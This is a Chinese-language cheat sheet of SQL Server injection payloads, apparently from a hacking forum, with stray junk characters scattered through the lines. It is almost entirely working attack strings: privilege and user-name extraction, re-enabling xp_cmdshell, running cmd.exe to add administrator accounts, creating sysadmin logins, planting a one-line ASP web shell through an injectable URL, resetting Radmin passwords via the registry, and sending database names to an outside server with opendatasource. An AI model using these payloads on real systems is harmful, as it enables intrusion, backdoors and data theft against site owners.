阿D常用的一些注入命令 m4 j! Y% @, i8 s1 J- [5 M
//看看是什么权限的
& w& @& S; ?4 U0 E' J. H, ~0 kand 1=(Select IS_MEMBER('db_owner'))
6 q0 T* J" g4 j9 U" x2 C; \' IAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
# l$ a: V( }) B) @" k8 Y2 F; L( G( I
//检测是否有读取某数据库的权限
z" K/ u6 h% [7 p/ E0 `and 1= (Select HAS_DBACCESS('master')), f9 |0 j+ `+ s" T
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --4 p+ ~( _7 B8 s5 \
~5 T9 x0 k0 Y$ Z; m6 h
, @9 ~: B6 G& O4 g: \数字类型
% \4 I. n" H$ G( [! l9 Gand char(124)%2Buser%2Bchar(124)=0
0 R: C$ R% u8 R6 n; V
. x1 C! o4 n( `% ^+ X C- X ^字符类型: d7 q2 _! ^, u7 f/ n. |0 g
' and char(124)%2Buser%2Bchar(124)=0 and ''='( Z$ g3 @. b/ ~+ k# n3 T) D
8 }+ ^9 G% y+ k' j搜索类型: Y. ?' Q" u7 M' ?- M
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
4 H' _ r5 W* m% Q2 Z
8 h; K1 @! u/ w! A- M/ I爆用户名
7 _0 ]% w* I/ R" A. @2 dand user>0$ M" H3 l+ @4 T( ]9 R* j
' and user>0 and ''='9 F% j% R5 A6 e
: r( r7 B& @1 r- q# G+ ?检测是否为SA权限
& e, i0 T: ?1 G* Y: Y8 N- Iand 1=(select IS_SRVROLEMEMBER('sysadmin'));--. G' j/ B! [$ b. G1 i
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
0 q `- }4 X" G- g2 `) I r7 ^& L6 V8 m( C8 p9 m- @5 k
检测是不是MSSQL数据库, P3 W+ T9 @. W) {4 E1 t5 k, I, z
and exists (select * from sysobjects);-- 9 g( Q0 ]' a! z: M
1 g4 z6 p' d0 m+ v6 y
检测是否支持多行 ^+ y2 T" m' Z8 r {! P% ?
;declare @d int;--
$ J; ^) |, m, s5 n. x& b2 S7 w9 Q- V+ M/ ?* J. {7 \5 _
恢复 xp_cmdshell; a# n% B4 a: a+ E; N
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--( W7 ]# ~2 s( I3 M
6 }' T% f) u3 H J' O$ ?
, A/ w: m3 x3 w e: O7 ~( e5 @
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
& k: V% u& P- g6 n6 ]9 {
a; H% l3 Y! c( X//-----------------------
- t6 v8 ?9 S* d) ^3 _4 J7 O, ^( U* H2 W// 执行命令7 l4 Z' U9 ?) Q
//-----------------------: T4 o3 l3 b( I' r
首先开启沙盘模式:
6 B+ [; ~6 n. n+ Cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',12 \. ?8 `6 m$ C7 b. H/ c* [, y
. Q0 j% D+ L" v! K3 m/ q然后利用jet.oledb执行系统命令, C1 ~2 i5 O* l8 f2 c
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') n$ P4 e. F/ u0 C: c4 f
s* g- j- o8 V- H( ?执行命令
" @* X8 d! |2 v7 n9 P% g5 ?6 @' u;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
/ V X9 z+ @% m( E0 @4 E9 v* T) j+ o6 w* X9 K% s
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
, w5 z# G$ V. Z2 V0 k- w
& T( c1 {( O( w( }1 j. M判断xp_cmdshell扩展存储过程是否存在:) |6 R, S8 ^) I# X
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
6 |6 h8 L* n8 U! D+ r r" e: E7 |
写注册表
5 @% j. f& ?, E% N5 s! c% C& D& |exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, B2 Q7 Q. |# C# I3 e
; c: z; S6 W* i/ t) u: S8 h: @; {REG_SZ
: W& R6 x7 w% U+ i& Q; E2 P" E( P, _( K: P1 S Z; a) A+ g
读注册表 M) N# D. c9 g; o# Y4 Q8 V9 L
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'6 x r% [) D" N. |
8 D8 `) j T9 f/ a8 p3 G/ j7 x读取目录内容
$ H$ }! L0 l, v [9 q# lexec master..xp_dirtree 'c:\winnt\system32\',1,1
" l# H- b4 E/ k) \ c
5 t. a; K9 i/ O7 C7 E, A: x4 L
2 T. l1 G7 Z) ]; F% T$ Y数据库备份, j+ [! m. j5 v$ D
backup database pubs to disk = 'c:\123.bak') P' e1 Z, L/ Y7 d2 X" q/ Z
# _0 u' w8 Q/ ~; B5 ^1 H0 C
//爆出长度
8 N5 n8 Q8 z7 K+ }And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--0 W2 w @ d0 X; V. d
0 w3 D* z8 u, k* F
7 ^+ K( E7 a- d. a2 F0 x; y- a0 @8 Z" `# w3 Q
更改sa口令方法:用sql综合利用工具连接后,执行命令:
5 v' R' e* E$ g2 |( Fexec sp_password NULL,'新密码','sa'
: t) H, U2 Z# X b6 M" N( ?- y* |) H& e* R2 b
添加和删除一个SA权限的用户test:
6 q; h) R( l! L; cexec master.dbo.sp_addlogin test,ptlove9 ~3 r8 h- z2 W7 {% w
exec master.dbo.sp_addsrvrolemember test,sysadmin
1 X, y- [+ g: r, K: ]0 A9 R7 _, W0 N5 R7 @( X& Q; Q6 I
删除扩展存储过过程xp_cmdshell的语句: a7 X) j: |0 [3 T7 B& Y. e6 C
exec sp_dropextendedproc 'xp_cmdshell'
/ d7 |6 [: Z" U$ ~& \3 q
. i% w# b' m) g4 l$ V, w) e添加扩展存储过过程
) d v: ~( T M* Q1 b1 `EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ! b! W( l# L1 O9 d' o) K9 ^
GRANT exec On xp_proxiedadata TO public " ^' N& m( O& b+ {. k7 T, U% \
- `6 Q6 o: U ]
# J+ _2 Q: U7 ]7 s' v) e/ T0 u
停掉或激活某个服务。
& D+ z. Y+ e) D3 n* _- g' a- g6 J& B7 {! A( ~
exec master..xp_servicecontrol 'stop','schedule'
) S, w. T: x, Xexec master..xp_servicecontrol 'start','schedule'3 O3 Y5 T0 p7 ~$ L& V7 ~ T. ]
' G1 c$ Z- H* @2 A1 d# Fdbo.xp_subdirs
- H% y% e6 b( u9 S3 f" c. O$ O, O
/ y8 |0 |2 z7 z$ Z. t6 H' [9 L只列某个目录下的子目录。( P; ?4 Y, L& q$ a" N% {- W( s
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp', v" a! V5 a# |5 L7 o
/ l J) F. h' p! K- f4 u
dbo.xp_makecab
8 `! f! z. x5 q4 J2 L4 y
2 Z# N( w! r/ x$ M4 }3 I) g将目标多个档案压缩到某个目标档案之内。
1 }5 y% v1 C' h' J( x& B9 p( ~; R所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。: u1 Z/ w+ G" g0 ^2 W( n# j
7 h2 J; s) b8 S7 ?. rdbo.xp_makecab: ?/ o2 g# W: D7 p3 i/ G
'c:\test.cab','mszip',1,$ {. U7 r) Z8 k- t3 r
'C:\Inetpub\wwwroot\SQLInject\login.asp',
# [4 V' j- }1 y+ m'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'9 m a( p, H$ _/ a
# v( w( c, L f2 g- r9 }: K
xp_terminate_process' W# B+ j- G5 L. O1 [9 f, S
' ~$ |% G) Z( J8 l9 E% k# C/ i停掉某个执行中的程序,但赋予的参数是 Process ID。
' H2 B6 m7 w8 Q利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID% h# C8 A* j0 U
8 Z P# R, a8 I3 y
xp_terminate_process 2484; l* p* b& F8 B$ t6 d# q
* g: D+ i# k6 oxp_unpackcab+ @ U' x9 e8 ^; v5 r9 e2 E
$ p- d8 P& E0 Y H8 E0 {, O解开压缩档。1 G7 n$ {! \/ L9 T- h
b- p; y L) r' S2 K
xp_unpackcab 'c:\test.cab','c:\temp',1
y! \. R3 T1 z0 }, {1 j1 |8 w1 ?& m k. [7 V7 U; ^7 ^
$ e0 r1 a: l2 z某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234( M& S8 Y7 r8 R' E, d
# A ]5 j( u+ S6 r( V
create database lcx;
. G9 y. M! ^/ y9 iCreate TABLE ku(name nvarchar(256) null);# O( D; O4 Z7 }
Create TABLE biao(id int NULL,name nvarchar(256) null);
; U& w7 o% g; a- u/ |
4 F" ?) F x2 j: v/ g//得到数据库名
, f) ?3 J K' g" T' Linsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases/ x1 e% e+ r9 ?2 k: \
5 W$ b7 }' [/ g" O8 }
3 P$ j; C9 a/ L2 `6 N) O//在Master中创建表,看看权限怎样
! l* s+ z$ T2 ~" B1 ^Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
- J. K. X) o+ j- t- l3 y1 u
: x" P6 n$ J/ F用 sp_makewebtask直接在web目录里写入一句话马:( t% t5 ?0 H, ]
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
# q' ^0 L, H$ ^: u, x
, c4 r4 _3 l) H8 I3 R: E# D" e//更新表内容5 U, ?9 k# P# H
Update films SET kind = 'Dramatic' Where id = 123
# T: Q; {8 D" _ [( \
' r5 K$ P" ~( f//删除内容
" S5 a" V/ [: W* m5 Ydelete from table_name where Stockid = 3 |